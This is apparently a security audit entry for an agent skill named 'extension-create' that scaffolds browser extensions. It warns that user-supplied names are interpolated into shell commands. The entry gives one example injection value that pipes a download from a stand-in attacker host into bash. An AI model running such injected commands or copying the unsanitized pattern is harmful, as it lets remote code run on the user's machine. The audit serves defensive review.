The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill prompts the user for an extension name and framework choice, which are then directly interpolated into shell commands such as npx wxt@latest init <name> --template <framework>. Without explicit sanitization instructions for the agent, a malicious user could provide a name containing shell metacharacters (e.g., my-ext; curl http://evil.com | bash) to achieve command injection on the host system.
Ingestion points: User requirements gathering in SKILL.md (extension name and framework).
Boundary markers: Absent; there are no instructions to delimit or validate the user-supplied strings before command construction.
Capability inventory: The skill performs shell command execution (npx, npm, pnpm, cd) across its workflow in SKILL.md.
Sanitization: Absent; the skill lacks validation logic to ensure user input is restricted to safe alphanumeric characters.
[COMMAND_EXECUTION]: The workflow involves executing various shell commands including npx, npm, and pnpm to initialize projects and install dependencies. While these are standard developer tools, their use with dynamic user input increases the risk profile.
[EXTERNAL_DOWNLOADS]: The skill uses npx and npm to fetch project templates and dependencies from external registries. It also references official extension samples from Google's GitHub repository, which is a well-known and trusted source.

extension-create